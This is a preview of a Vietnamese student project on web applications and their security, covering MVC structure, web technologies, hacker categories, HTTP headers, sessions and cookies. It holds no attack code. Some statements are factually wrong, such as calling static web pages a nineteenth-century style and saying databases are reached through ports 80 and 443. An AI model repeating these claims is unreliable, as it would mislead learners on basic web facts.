Đồ án Ứng dụng web và vấn đề bảo mật

Tài liệu Đồ án Ứng dụng web và vấn đề bảo mật: LỜI MỞ ĐẦU Trong thời đại ngày này nay internet đã rất trở nên quen thuộc và là một công cụ hữu ích để một đất nước giới thiệu hình ảnh hay đơn giản chỉ là một trang web cá nhân của một ai đó giới thiệu về mình. Tất cả đã kéo theo sự phát triển không ngừng của các ứng dụng web. Và dần dần khái niệm ứng dụng web đã trở nên phổ biến .Khi mà trên internet ,ứng dụng web đã trở lên phổ biến ,ứng dụng một cách rộng rãi thì các cuộc tấn công ứng dụng web cũng phát triển hết sức phức tạp. Điều này đã đặt ra vấn đề cấp thiết cần làm như thế nào để bào đảm an toàn thông tin cho ứng dụng web, thông tin của người sử dụng. Các khái niệm chuyên môn về ứng dụng web và tấn công ứng dụng web cũng dần trở nên phổ biến hơn trong các tài liệu chuyên ngành . Các công cụ hỗ trợ người lập trình web, người quản trị mạng cũng xuất hiện giúp tìm kiếm lỗ hổng của ứng dụng web nhưng nó không theo kịp sự phát triển nhanh đến mức chóng mặt theo xu hướng nhanh hơn đẹp hơn của các ứng dụng web, và tất nhiên nó khô...

doc57 trang | Chia sẻ: hunglv | Lượt xem: 1546 | Lượt tải: 0download
Bạn đang xem trước 20 trang mẫu tài liệu Đồ án Ứng dụng web và vấn đề bảo mật, để tải tài liệu gốc về máy bạn click vào nút DOWNLOAD ở trên
LỜI MỞ ĐẦU Trong thời đại ngày này nay internet đã rất trở nên quen thuộc và là một công cụ hữu ích để một đất nước giới thiệu hình ảnh hay đơn giản chỉ là một trang web cá nhân của một ai đó giới thiệu về mình. Tất cả đã kéo theo sự phát triển không ngừng của các ứng dụng web. Và dần dần khái niệm ứng dụng web đã trở nên phổ biến .Khi mà trên internet ,ứng dụng web đã trở lên phổ biến ,ứng dụng một cách rộng rãi thì các cuộc tấn công ứng dụng web cũng phát triển hết sức phức tạp. Điều này đã đặt ra vấn đề cấp thiết cần làm như thế nào để bào đảm an toàn thông tin cho ứng dụng web, thông tin của người sử dụng. Các khái niệm chuyên môn về ứng dụng web và tấn công ứng dụng web cũng dần trở nên phổ biến hơn trong các tài liệu chuyên ngành . Các công cụ hỗ trợ người lập trình web, người quản trị mạng cũng xuất hiện giúp tìm kiếm lỗ hổng của ứng dụng web nhưng nó không theo kịp sự phát triển nhanh đến mức chóng mặt theo xu hướng nhanh hơn đẹp hơn của các ứng dụng web, và tất nhiên nó không thể ngăn chặn hoàn toàn các cuộc tấn công ứng dụng web, khi mà các cuộc tấn công ngày càng đa dạng khai thác triệt để những lỗi của ứng dụng web, của người quản trị, hay người lập trình ứng dụng web. Thống kê cho thấy 75% cuộc tấn công internet là tấn công ứng dụng web,nó gây ra những thiệt hại vô cùng to lớn, vì vậy việc tìm hiểu về tấn công ứng dụng web là rất cần thiết nhằm có cách phòng chống tấn công và bảo mật ứng dụng web hiệu quả trở thành một yêu cầu cấp thiết.. Do đây là một xu thế tất yếu của thời, nên việc tìm hiểu và nghiên cứu về ứng dụng web sẽ giúp ích rất nhiều cho các nhà lập trình web mới, hay các quản trị viên mới còn ít kinh nghiệm trong việc quản trị hệ thống mạng của mình, phòng tránh , hay khắc phục những lỗi của ứng dụng web. Đồ án này được thực hiện nhằm mục đích giới thiệu rõ hơn về ứng dụng web nhằm tránh những nhầm lẫn và đồng thời tìm hiểu về những tấn công ứng dụng web phổ dụng nhằm có cách phòng chống ,bảo mật cho ứng dụng web hợp lý Lời cảm ơn Em xin cảm ơn khoa công nghệ thông tin trường cao đẳng Công Thương đã tạo điều kiện thuận lợi để em hoàn thành đồ án này Cảm ơn Thầy Huỳnh Nguyễn Thành Luân và các thầy trong khoa công nghệ thông tin đã tận tình hướng dẫn cung cấp tài liệu và giúp đỡ em làm đồ án này. Mục Lục Đồ án của tôi những phần sau Giới thiệu về Đồ án Chương 1: Giới thiệu tổng quan về ứng dụng web Chương 2:Giới thiệu về những thuật ngữ và khái niệm liên quan Chương 3: Giới thiệu Sơ lược về một số cách tấn công ứng dụng web cơ bản Chương chương 4: Giới thiệu về cách sử dụng một số công cụ phổ dụng Kết luận và hướng phát triển của đồ án CHƯƠNG 1: GIỚI THIỆU TỔNG QUAN VỀ ỨNG DỤNG WEB khái niệm về ứng dụng web(website widget hay web application) Mang tính kỹ thuật nhiều hơn có thể giải thích các ứng dụng Web truy vấn máy chủ chứa nội dung (chủ yếu trên cơ sở dữ liệu lưu trữ nội dung) và tạo tài liệu Web động để phục vụ yêu cầu của máy khách (chính là người dùng website). Tài liệu được tạo trong kiểu định dạng tiêu chuẩn hỗ trợ trên tất cả mọi trình duyệt (như HTML, XHTML). JavaScript là một dạng script client-side cho phép yếu tố động có ở trên từng trang (như thay đổi ảnh mỗi lần người dùng di chuột tới). Trình duyệt Web chính là chìa khóa. Nó dịch và chạy tất cả script, lệnh… khi hiển thị trang web và nội dung được yêu cầu Dưới góc độ chức năng, ứng dụng Web là các chương trình máy tính cho phép người dùng website đăng nhập, truy vấn vào ra dữ liệu qua mạng Internet trên trình duyệt Web yêu thích của họ. Dữ liệu sẽ được gửi tới người dùng trong trình duyệt theo kiểu thông tin động (trong một định dạng cụ thể, như với HTML thì dùng CSS) từ ứng dụng Web qua một Web Server. Để hiểu hết được ý nghĩa của khái niệm này chúng ta cùng đi sâu vào tìm hiểu tiếp mô hình cấu trúc chức năng và nhiệm vụ của ứng dụng web. Cấu trúc,chức năng,giao diện&nguyên tắc hoạt động cơ bản của ứng dụng web 1.2.1 Cấu trúc cơ bản của một ứng dụng web Mô hình của một ứng dụng web đơn giản chính là mô hình MVC (Model - View - Controller). Tầng Model: chứa các code connect tới database,truy vấn và thêm xóa sửa dữ liệu. Tầng View: chứa các code tạo giao diện tương tác với người dùng, dữ liệu được vẽ ra nhu thế nào Tầng Controller: chứa các code điều khiển dòng dữ liệu (flow control), gắn kết tầng Mode và tầng View lại với nhau. Ứng dụng được chia thành các layer như thế sẽ tăng tính reuse và dễ dàng mở rộng. Chẳng hạn nếu chúng ta muốn ứng dụng có thể truy xuất trên di dộng, chúng ta chỉ cần tạo một tầng view mới riêng cho di động, tầng model và controller không thay dổi. Hay nếu chúng ta muốn thay đổi database, việc đó cũng dễ dàng hơn, chỉ cần ta tạo tầng model mới, phần view và controller không bị ảnh hưởng. Mô hình thể hiện quan hệ của ba lớp trong ứng dụng web: Hình 1. mô hình 3 tầng của một ứng dụng web Còn đây là mô hình của một dịch vụ ứng dụng web: Hình 2. Mô hình dịch vụ ứng dụng web đơn giản Tầng Presentation: được dùng để giao tiếp với người dùng, nhiệm vụ chính là hiển thị dữ liệu và nhận dữ liệu từ người dùng. - Tầng Business Logic: nhiệm vụ chính là cung cấp các chức năng của phần mềm. - Tầng Data: lưu trữ dữ liệu, cho phép lớp Business Logic có thể tìm kiếm, trích xuất, cập nhật… dữ liệu. 1.2.2 Giao diện của một ứng dụng web Giao diện web đặt ra rất ít giới hạn khả năng người dùng. Thông qua Java, JavaScript, DHTML, Flash và những công nghệ khác, những phương pháp chỉ ứng dụng mới có như vẽ trên màn hình, chơi nhạc, và dùng được bàn phím và chuột tất cả đều có thể thực hiện được Những kỹ thuật thông thường như kéo thả cũng được hỗ trợ bởi những công nghệ trên. Những nhà phát triển web thường dùng ngôn ngữ kịch bản phía người dùng để thêm hiệu quả các tính năng, đặc biệt là tạo ra một cảm giác giao tiếp trực quan mà không cần phải tải trang lại (điều mà nhiều người dùng cảm thấy ngắt quãng). Vừa rồi, những công nghệ đã được phát triển để phối hợp ngôn ngữ kịch bản phía người dùng với công nghệ phía máy chủ như PHP. Ajax, một kỹ thuật phát triển web sử dụng kết hợp nhiều công nghệ khác nhau, là một ví dụ về công nghệ hiện đang tạo ra ngày càng nhiều trải nghiệm tương tác hơn. 1.2.3 Chức năng cơ bản của các ứng dụng web Ứng dụng web phổ biến nhờ vào sự có mặt vào bất cứ nơi đâu của một chương trình. Khả năng cập nhật và bảo trì ứng dụng Web mà không phải phân phối và cài đặt phần mềm trên hàng ngàn máy tính là lý do chính cho sự phổ biến của nó. Ứng dụng web được dùng để hiện thực Webmail, bán hàng trực tuyến, đấu giá trực tuyến, wiki, diễn đàn thảo luận, Weblog, MMORPG, Hệ quản trị quan hệ khách hàng và nhiều chức năng khác.. Web cũng là kênh bán hàng thông minh cho hàng nghìn tổ chức, doanh nghiệp, lớn có, nhỏ có. Với hơn một tỷ người dùng Internet ngày nay (nguồn: Computer Industry Almanac 2006), thương mại điện tử Mỹ sử dụng khoảng 102 tỷ đô la trong năm 2006 cho giao dịch (nguồn: comScore Networks 2007). Tất cả dữ liệu như vậy cần phải được đóng gói, lưu trữ, xử lý và truyền vận theo một cách nào đó, có thể sử dụng ngay hoặc vào một ngày nào đó sau này. Các ứng dụng Web, trong lĩnh vực đăng ký, đệ trình, truy vấn, đăng nhập, bán hàng và hệ thống quản lý nội dung chính là các website widget cho phép thực hiện tất cả công việc mong muốn. Web chính là là yếu tố cơ bản giúp doanh nghiệp tăng cường hình ảnh trực tuyến của mình trên thế giới mạng, tạo ra và duy trì nhiều mối quan hệ đem lại lợi nhuận lâu dài với khách hàng tiềm năng và khách hàng hiện tại. Không nghi ngờ gì là các ứng dụng Web đã trở thành thứ hiện hữu ở khắp mọi nơi trên thế giới. Nhưng do tính kỹ thuật cao và yếu tố tổng hợp phức tạp tự nhiên nên chúng không được nhiều người biết đến chính xác, thậm chí bị hiểu nhầm trầm trọng trong cuộc sống bận rộn hằng ngày. Website ngày nay khác xa so với kiểu đồ họa và văn bản tĩnh của thế kỷ mười chín hay thời kỳ trước đó. Các trang Web hiện đại cho phép người dùng lấy xuống nội dung động cá nhân hóa theo thiết lập và tham chiếu riêng. Hơn nữa chúng cũng có thể chạy các script trên máy khách, có thể “thay đổi” trình duyệt Internet thành giao diện cho các ứng dụng như thư điện tử, phần mềm ánh xạ tương tác (Yahoo Mail, Google Maps). Quan trọng nhất là website hiện đại cho phép đóng gói, xử lý, lưu trữ và truyền tải dữ liệu khách hàng nhạy cảm (như thông tin cá nhân, mã số thẻ tín dụng, thông tin bảo mật xã hội …) có thể dùng ngay hoặc dùng định kỳ về sau. Và, điều này được thực hiện qua các ứng dụng Web. Đó có thể là thành phần webmail (thư điện tử), trang đăng nhập, chương trình hỗ trợ và mẫu yêu cầu sản phẩm hay hoạt động mua bán, hệ thống quản lý nội dung, phát triển website hiện đại, cung cấp cho các doanh nghiệp phương tiện cần thiết để liên lạc với khách hàng tương lai và khách hàng hiện tại. Nguyên tắc hoạt động cơ bản của một ứng dụng web Trong dạng tính toán chủ-khách trước đây, mỗi ứng dụng có chương trình khách riêng của nó sẽ phục vụ như giao diện người dùng và phải được cài đặt riêng rẽ trên mỗi máy tính cá nhân của người dùng. Sự nâng cấp phần máy chủ của ứng dụng sẽ cần nâng cấp tất cả máy khách đã được cài trên mỗi máy trạm người dùng, thêm vào đó là chi phí hỗ trợ và giảm năng suất. Ứng dụng web linh hoạt tạo ra một loạt các tài liệu Web ở định dạng chuẩn được hỗ trợ bởi những trình duyệt phổ biến như HTML/XHTML. Ngôn ngữ kịch bản phía người dùng ở dạng ngôn ngữ chuẩn như JavaScript thường được thêm vào để có thêm những yếu tố động trong giao diện người dùng. Nói chung, mỗi trang Web đơn lẻ được gửi tới người dùng như một tài liệu ổn định, nhưng thứ tự các trang có thể cung cấp cảm giác trực quan, khi những gì người dùng nhập vào sẽ được trả về thông qua thành phần mẫu Web được nhúng vào trong đánh dấu trang. Trong quá trình giao dịch đó, trình duyệt Web sẽ thông dịch và hiển thị trang, và hoạt động như một người dùng chung cho bất kỳ ứng dụng Web nào Theo mô hinh MVC (Model - View - Controller). Hình 3. Mô tả hoạt động của một ứng dụng web Các bước hoạt động của một ứng dụng web đơn giản Bước 1 : Browser tạo một HTTP Request gửi tới ứng dụng web bước 2: Controller chính của Struts là class ActionServlet sẽ bắt request này, phân tích URL của nó, và dựa vào file struts-config.xml để gửi request này tới Action class tương ứng Bước 3: Action class là một class của Struts Framework. Ứng dụng của chúng tathường extends từ class này và viết code để sử lý những business tương ứng. Chẳng hạn ta sẽ có một LoginAction để xử lý việc user login, logout. Bước 4: Action class có thể truy xuất, cập nhật database nếu cần thiết. Bước 5: Khi Action class thực hiện việc xử lý business xong, nó sẽ gửi yêu cầu forward/redirect, cùng với dữ liệu (nếu có) về controller. Bước 6: Controller chuyển control đến trang JSP tương ứng ở tầng view. Nếu trang JSP này có sử dụng dữ liệu, controller sẽ cung cấp cho nó (đây chính là dữ liệu mà action đã tạo ra và đua cho controller Bước 7: Sau khi trang JSP đã chuẩn bị xong, Controller tạo một HTTP Response gửi về cho browser, để browser hiển thị ra màn hình. 1.2.5 Vấn đề bảo mật ứng dụng web Khi mà ứng dụng web phát triển rất nhanh về mọi mặt, khả năng ứng dụng một cách rộng rãi thì vấn đề bảo mật cho ứng dụng web cũng được chú trọng hơn. Mặc dù không thể phủ nhận những cải tiến nâng cao đáng kể hiện nay, nhưng vấn đề về bảo mật trong ứng dụng Web vẫn không ngừng tăng lên. Nguyên nhân có thể xuất phát từ các đoạn mã không phù hợp. Nhiều điểm yếu nghiêm trọng hay các lỗ hổng cho phép hacker xâm nhập thẳng và truy cập vào cơ sở dữ liệu tách lấy dữ liệu nhạy cảm. Nhiều cơ sở dữ liệu chứa thông tin giá trị (như chi tiết cá nhân, thông tin tài chính) khiến chúng trở thành đích nhắm thường xuyên của hầu hết hacker. Mặc dù hoạt động tấn công phá hoại website doanh nghiệp vẫn diễn ra thường xuyên, nhưng bây giờ tin tặc thích tăng cường khả năng truy cập dữ liệu nhạy cảm nằm trên trình chủ chứa database hơn vì lợi nhuận khổng lồ từ các vụ mua bán dữ liệu đem lại. Hình 3 Mô hình hoạt động của một ứng dụng web Trong khung hoạt động mô tả ở trên, bạn có thể thấy thật dễ dàng cho một hacker truy cập nhanh chóng thông tin nằm trên cơ sở dữ liệu chỉ với một chút sáng tạo. Nếu may mắn hơn chúng có thể gặp lỗ hổng xuất phát từ sự cẩu thả hay lỗi người dùng trên các ứng dụng Web. Như đã nói, website phụ thuộc vào cơ sở dữ liệu để phân phối thông tin được yêu cầu cho người dùng. Nếu ứng dụng Web không an toàn (như có lỗ hổng, gặp phải một kiểu kỹ thuật hacking nào đó), toàn bộ cơ sở dữ liệu chứa thông tin nhạy cảm sẽ gặp nguy hiểm nghiệm trọng. Một số hacker có thể chèn mã độc hại vào ứng dụng Web có lỗ hổng để lừa đảo người dùng và dẫn họ tới website phishing. Kỹ thuật này được gọi là Cross-site Scripting, có thể được dùng ngay cả khi bản thân Web Server và nơi chứa cơ sở dữ liệu không có lỗ hổng nào. Một cuộc nghiên cứu gần đây chỉ ra rằng 75% các cuộc tấn công mạng được thực hiện ở mức ứng dụng Web.Website và các ứng dụng Web liên quan luôn phải sẵn sàng 24/7 để cung cấp dịch vụ theo yêu cầu khách hàng, yêu cầu từ phía nhân viên, nhà cung cấp và nhiều người liên quan khác. ZF Tường lửa, SSL không thể bảo vệ ứng dụng Web trước mọi hoạt động hacking, đơn giản vì truy cập vào website phải để ở chế độ public để bất kỳ ai cũng có thể ghé thăm website được. Tất cả hệ thống cơ sở dữ liệu hiện đại (như Microsoft SQL Server, Oracle, MySQL) đều có thể truy cập qua một số cổng cụ thể (như cổng 80, 443). Nếu muốn, một người nào đó có thể kết nối trực tiếp tới cơ sở dữ liệu một cách hiệu quả khi vượt qua cơ chế bảo mật của hệ điều hành. Các cổng này để mở nhằm cho phép liên lạc với hoạt động giao thông mạng hợp pháp, và do đó cũng hình thành nên lỗ hổng lớn nguy hiểm. Các ứng dụng Web thường truy cập dữ liệu cuối như cơ sở dữ liệu khách hàng, điều khiển dữ liệu có giá trị và do đó rất khó để có thể tuyệt đối an toàn. Lúc này truy cập dữ liệu thường không kèm script cho phép đóng gói và truyền tải dữ liệu. Nếu một hacker nhận ra điểm yếu trong một script, anh ta có thể dễ dàng mở lại lưu lượng sang khu vực khác và chia lẻ bất hợp pháp chi tiết cá nhân người dùng, dù đôi khi không hề chủ tâm làm điều đó Hầu hết ứng dụng Web đều là tự tạo, do đó ít có được các kiểm tra trình độ hơn so với phần mềm cùng loại. Do đó các ứng dụng tùy biến thường dễ bị tấn công hơn. Có thể nói ứng dụng Web là một cổng vào (gateway) của cơ sở dữ liệu, nhất là các ứng dụng tùy biến. Chúng không được phát triển với mức bảo mật tốt nhất vì không phải qua các kiểm tra bảo mật thông thường. Nói chung, bạn cần trả lời câu hỏi: “Phần nào trên website chúng ta nghĩ là an toàn nhưng lại mở cửa cho các cuộc tấn công?” và “Dữ liệu nào chúng ta đem vào một ứng dụng khiến nó thực hiện một số điều không nên làm?”.Đó là công việc của phần mềm rà soát lỗ hổng Web. Hiện nay , hacker có rất nhiều cách tấn công một ứng dụng web từ các kĩ thuật cơ bản cho đến những kĩ thuật đòi hỏi kĩ thuật và công nghệ cao cao. Các công cụ(tool) hỗ trợ ra đời ngày càng nhiều , hỗ trợ rất nhiều cho người quản trị mạng , tìm ra những lỗ hổng để có bản vá lỗi kịp thời nhưng đồng thời nó cũng là một con dao hai lưỡi. Hacker có thể dùng những tool này để phát hiện những lỗ hổng của một ứng dụng web và từ đó sẽ có cách tấn công tương ứng vào lỗ hổng này gây ra rất nhiều tổn thất Vì vậy việc nghiên cứu về các kĩ thuật tấn công và những tool cơ bản hiện nay là một nhu cầu tất yếu trong việc nghiên cứu bảo mật ứng dụng web. CHƯƠNG 2: GIỚI THIỆU VỀ CÁC THUẬT NGỮ VÀ KHÁI NIỆM LIÊN QUAN 2.1 Các khái niệm và thuật ngữ thường dùng Các khái niệm chung về ứng dụng web Web browser (trình duyệt web) là các ứng dụng phần mềm cho phép người dùng truy vấn dữ liệu và tương tác với nội dung nằm trên trang Web bên trong website. Trang Web là tĩnh; người dùng gửi yêu cầu một tài nguyên nào đó, và server sẽ trả về tài nguyên đó. Các trang Web không có gì hơn là một văn bản được định dạng và phân tán. Đối với các trình duyệt, thì các trang Web tĩnh không phải là các vấn đề khó khăn, và trang Web lúc đầu chỉ để thông tin về các sự kiện, địa chỉ, hay lịch làm việc qua Internet mà thôi, chưa có sự tương tác qua các trang Web. Web "ĐỘNG" là thuật ngữ được dùng để chỉ những website được hỗ trợ bởi một phần mềm cơ sở web, nói đúng hơn là một chương trình chạy được với giao thức http. Thực chất, website động có nghĩa là một website tĩnh được "ghép" với một phần mềm web (các modules ứng dụng cho Web). Với chương trình phần mềm này, người chủ website thực sự có quyền điều hành nó, chỉnh sửa và cập nhật thông tin trên website của mình mà không cần phải nhờ đến những người chuyên nghiệp. Tên miền (Domain name) là định danh của website trên Internet. Tên miền thường gắn kèm với tên công ty và thương hiệu của doanh nghiệp. Tên miền là duy nhất và được cấp phát cho chủ thể nào đăng ký trước. +Tên miên có hai loại - Tên miền quốc tế dạng: www.tencongty.com (.net, .biz .org, .info...) - Tên miền quốc gia dạng: www.tencongty.com.vn (hoặc .net.vn, .biz.vn .org.vn, .gov.vn...) - Web hosting là nơi không gian trên máy chủ có cài dịch vụ Internet như ftp,www, nơi đó bạn có thể chứa nội dung trang web hay dữ liệu trên không gian đó. Lý do bạn phải thuê Web Hosting để chứa nội dung trang web, dịch vụ mail, ftp, vì những máy tính đó luôn có một địa chỉ cố định khi kết nối vào Internet (đó là địa chỉ IP) , còn như nếu bạn truy cập vào internet như thông thường hiện nay thông qua các IPS (Internet Service Provider - Nhà cung cấp dịch vụ Internet) thì địa chỉ IP trên máy bạn luôn bị thay đổi, do đó dữ liệu trên máy của bạn không thể truy cập được từ những máy khác trên Internet. Thuật ngữ ,khái niệm về các công cụ liên quan đến ứng dụng web CGI: Giải pháp đầu tiên để làm các trang Web động là Common Gateway Interface (CGI). CGI cho phép tạo các chương trình chạy khi người dùng gửi các yêu cầu. Giả sử khi cần hiển thị các các mục để bán trên Web site – với một CGI script ta có thể truy nhập cơ sở dữ liệu sản phẩm và hiển thị kết quả. Sử dụng các form HTML đơn giản và các CGI script, có thể tạo các “cửa hàng” ảo cho phép bán sản phẩm cho khách hàng qua một trình duyệt. CGI script có thể được viết bằng một số ngôn ngữ từ Perl cho đến Visual Basic. Tuy nhiên, CGI không phải là cách an toàn cho các trang Web động. Với CGI, người khác có thể chạy chương trình trên hệ thống. Vì thế có thể chạy các chương trình không mong muốn gây tổn hại hệ thống. Nhưng dù vậy, cho đến hôm nay thì CGI vẫn còn được sử dụng. Applet:Tháng 5/1995, John Gage của hãng Sun và Andressen (nay thuộc Netscape Communications Corporation) đã công bố một ngôn ngữ lập trình mới có tên Java. Netscape Navigator đã hỗ trợ ngôn ngữ mới này, và một con đường mới cho các trang Web động được mở ra, kỷ nguyên của applet bắt đầu. Applet cho phép các nhà phát triển viết các ứng dụng nhỏ nhúng vào trang Web. Khi người dùng sử dụng một trình duyệt hỗ trợ Java, họ có thể chạy các applet trong trình duyệt trên nền máy ảo Java Virtual Machine (JVM). Dù rằng applet làm được nhiều điều song nó cũng có một số nhược điểm: thường bị chặn bởi việc đọc và ghi các file hệ thống, không thể tải các thư viện, hoặc đôi khi không thể thực thi trên phía client. Bù lại những hạn chế trên, applet được chạy trên một mô hình bảo mật kiểu sandbox bảo vệ người dùng khỏi các đoạn mã nguy hiểm. Có những lúc applet được sử dụng rất nhiều, nhưng nó cũng có những vấn đề nảy sinh: đó là sự phụ thuộc vào máy ảo Java JVM, các applet chỉ thực thi khi có môi trường thích hợp được cài đặt phía client, hơn nữa tốc độ của các applet là tương đối chậm vì thế applet không phải là giải pháp tối ưu cho Web động. JavaScript:Cùng thời gian này, Netscape đã tạo ra một ngôn ngữ kịch bản gọi là JavaScript. JavaScript được thiết kế để việc phát triển dễ dàng hơn cho các nhà thiết kế Web và các lập trình viên không thành thạo Java. (Microsoft cũng có một ngôn ngữ kịch bản gọi là VBScript). JavaScript ngay lập tức trở thành một phương pháp hiệu quả để tạo ra các trang Web động. Việc người ta coi các trang như là một đối tượng đã làm nảy sinh một khái niệm mới gọi là Document Object Model (DOM). Lúc đầu thì JavaScript và DOM có một sự kết hợp chặt chẽ nhưng sau đó chúng được phân tách. DOM hoàn toàn là cách biểu diễn hướng đối tượng của trang Web và nó có thể được sửa đổi với các ngôn ngữ kịch bản bất kỳ như JavaScript hay VBScript. Tổ chức World Wide Web Consortium (W3C) đã chuẩn hóa DOM, trong khi European Computer Manufacturers Association (ECMA) phê duyệt JavaScript dưới dạng đặc tả ECMAScript. JSP/Servlet, ASP và PHP:Cùng với Java, Sun đồng thời đưa ra một công nghệ mới gọi là servlet. Các đoạn mã Java sẽ không chạy phía client như với applet; chúng sẽ được chạy trên một ứng dụng phía server. Servlet cũng đồng thời phục vụ các CGI script. Servlet là một bước tiến lớn, nó đưa ra một thư viện hàm API trên Java và một thư viện hoàn chỉnh để thao tác trên giao thức HTTP. JavaServer Page (JSP) là một công nghệ lập trình Web của Sun, cùng với nó là một công nghệ khác của Microsoft - Active Server Pages (ASP), JSP là công nghệ đòi hỏi một trình chủ hiểu được Java. Microsoft đã nghiên cứu các nhược điểm của servlet và tạo ra ASP dễ dàng hơn để thiết kế các trang web động. Microsoft thêm các bộ công cụ rất mạnh và sự tích hợp rất hoàn hảo với các Web server. JSP và ASP có những nét tương đương vì chúng đều được thiết kế để phân tách qua trình xử lí khỏi quá trình biểu diễn. Có sự khác biệt về kỹ thuật, song cả hai đều cho phép các nhà thiết kế Web tập trung vào cách bố trí (layout) trong khi các nhà phát triển phần mềm thì tập trung vào các kỹ thuật lập trình logic. Flash:Năm 1996, FutureWave đã đưa ra sản phẩm FutureSplash Animator. Sau đó FutureWave thuộc sở hữu của Macromedia, và công ty này đưa ra sản phẩm Flash. Flash cho phép các nhà thiết kế tạo các ứng dụng hoạt họa và linh động. Flash không đòi hỏi các kỹ năng lập trình cao cấp và rất dễ học. Cũng giống như các nhiều giải pháp khác Flash yêu cầu phần mềm phía client. Chẳng hạn như gói Shockwave Player plug-in có thể được tích hợp trong một số hệ điều hành hay trình duyệt. DHTML:Khi Microsoft và Netscape đưa ra các version 4 của các trình duyệt của họ, thì các nhà phát triển Web có một lựa chọn mới: Dynamic HTML (DHTML). DHTML không phải là một chuẩn của W3C; nó giống một bộ công cụ thương mại hơn. Trong thực tế nó là một tập hợp gồm HTML, Cascading Style Sheets (CSS), JavaScript, và DOM. Tập hợp các công nghệ trên cho phép các nhà pháp triển sửa đổi nội dung và cấu trúc của một trang Web một cách nhanh chóng. Tuy nhiên, DHTML yêu cầu sự hỗ trợ từ các trình duyệt. Mặc dù cả Internet Explorer và Netscape hỗ trợ DHTML, nhưng các thể hiện của chúng là khác nhau, các nhà phát triển cần phải biết được loại trình duyệt nào mà phía client dùng. DHTML thật sự là một bước tiến mới, nhưng nó vẫn cần một sự qui chuẩn để phát triển. Hiện nay DHTML vẫn đang trên con đường phát triển mạnh. XML:Kể từ khi ra đời vào giữa năm 1990, eXtensible Markup Language (XML) của W3C dẫn xuất của SGML đã trở nên rất phổ biến. XML có mặt ở khắp nơi, Microsoft Office 12 cũng sẽ hỗ trợ định dạng file XML.Ngày nay chúng ta có rất nhiều dạng dẫn xuất của XML cho các ứng dụng Web (tất nhiên là có cả XHTML): XUL của Mozilla; XAMJ, một sản phẩm mã nguồn mở trên nền Java; MXML từ Macromedia; và XAML của Microsoft. Các khái niệm và thuật ngữ liên quan đến tấn công và bảo mật ứng dụng web 2.1.3.1 Khái niệm hacker Khái niệm hacker có từ những 50, 60 của thế kỉ trước , và cho đến nay trải qua một thời gian phát triển khá dài hacker chia làm 4 loại: - Hacker mũ trắng: là những chuyên gia lập trình chuyên tìm các lỗi của phần mềm với mục đích sửa chữa, xây dựng hệ thống an toàn hơn. - Hacker mũ đen: đối lập với hacker mũ trắng, là những hacker phá hoại và trục lợi cho mình. - Hacker mũ xanh/samurai: là những chuyên gia lập trình tài năng, được các hãng như Microsoft mời về làm việc chuyên tìm lỗi cho phần mềm của họ. - Hacker mũ xám hay mũ nâu: là những người đôi khi làm công việc của hacker mũ trắng nhưng vẫn làm công việc của hacker mũ đen. - Dù tự nhận mình là giới nào, họ vẫn đang làm công việc xâm nhập hệ thống thông qua những lỗ hổng bảo mật. Vì vậy tôi sẽ sủ dụng thuật ngữ hacker để chỉ nhũng người tấn công ứng dụng web. 2.1.3.2 HTTP HEARDER HTTP HEARDER là trường phần đầu chứa các thông số hoạt động của một yêu cầu HTTP giữa máy chủ và máy khách .Những thông tin trình khách gửi trình chủ gọi là HTTP requests(yêu cầu ),những thông tin trình chủ gửi cho trình khách gọi là HTTP responses(trả lời ) Các trường tiêu đề xác định đặc điểm khác nhau của việc chuyển dữ liệu được yêu cầu hoặc các dữ liệu được cung cấp trong thông điệp. HTTP Header có thể có nhiều dòng và thường bắt đầu với tên trường, chấm dứt với một ký tự đại tràng, tiếp theo là giá trị trường. Tên trường và các giá trị có thể là bất kỳ ứng dụng cụ thể chuỗi , nhưng tập lõi các lĩnh vực được chuẩn hóa bởi Internet Engineering Task . Một số tham số được sử dụng cả trong trình khách mà trình chủ. - (Có bảng danh sách các tham số ở cuối đồ án .) 2.1.3.3 SESSION HTTP là giao thức hướng đối tượng phi trạng thái, nó không lưu trữ trạng thái làm việc giữa trình chủ và trình khách . Điều này gây khó khăn cho việc quản lý một số ứng dụng web bởi vì trình chủ không biết rằng trước đó trình khách đã ở trạng thái nào. Để giải quyết vấn đề này , người ta đưa ra khái niệm SESSION(phiên làm việc) vào giao thức HTTP. SessionID là một chuỗi để chứng thực phiên làm việc . Một số trình chủ sẽ cấp phát session cho người dùng khi họ xem trang web trên trình chủ -Để duy trì phiên làm việc sessionID thường được lưu trữ vào : +Biến trên URL +Biến ẩn from +Cookie -Phiên làm việc chỉ tồn tại trong khoảng thời gian cho phép, thời gian này được quy định tại trình chủ hoặc bởi ứng dụng thực thi.Trình chủ tự động giải phóng phiên làm việc để khôi phục tài nghuyên hệ thống. COOKIE Là một phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ và trình duyệt người dùng. Các cookie được lưu trũ dưới dạng những file dữ liệu nhỏ dạng text , được ứng dụng tạo ra để lưu trữ truy tìm nhận biết những người dùng đã ghé thăm trang web và những vùng họ đã ngang qua trang. Những thông tin nay có thể bao gôm thông tin người dùng, tài khoản, mật khẩu…cookie được trình duyệt của người dùng chấp nhận lưu trên đĩa cứng của mình . Nhiều trình duyệt không tự động lưu trữ cookie mà còn phụ thuộc vào người dùng có chấp nhận lưu nó hay không. Những lần truy cập sau vào trang web đó ứng ứng dụng có thể sử dụng lại những thông tin trong cookie(các thôgn tin tai khoản liên quan) mà người dùng không cần phải đăng nhập hay cung cấp thêm thông tin gì cả. Có nhiều cách phân loại cookie, phân loại theo đối tượng thiết lập của cookie.thì cookie chia làm 2 loại: Cookie của bên thứ nhất là cookie được thiết lập bởi tên miền trang web được liệt kê trong thanh địa chỉ. Cookie của bên thứ ba đến từ các nguồn tên miền khác có các mục, chẳng hạn như quảng cáo hoặc hình ảnh, được nhúng vào trang. Ngoài ra còn cách chia chia khác chia cookie thành 4 loại vì có secure/non-secure và perisent/non- perisent nên ta có: -Persistent và Secure -Persistent và Non-Secure - Non-Persistent và Secure - Non-Persistent và Non-Secure Persistent cookies được lưu trữ dưới dạng tập tin .txt (ví dụ trình duyệt NetscapeNavigator sẽ lưu các cookie thành một tập tin cookie.txt còn Internet Explorer sẽ lưu thành nhiều tập tin *.txt trong đó mỗi tập tin là một cookie) trên máy khách trong mộtkhoản thời gian xác định. Non-persistent cookie thì được lưu trữ trên bộ nhớ RAM của máy khách và sẽ bị hủy khi đóng trang web hay nhận được lệnh hủy từ trang web. Secure cookies chỉ có thể được gửi thông qua HTTPS (SSL). Non-Secure cookie có thể được gửi bằng cả hai giao thức HTTPS hay HTTP. 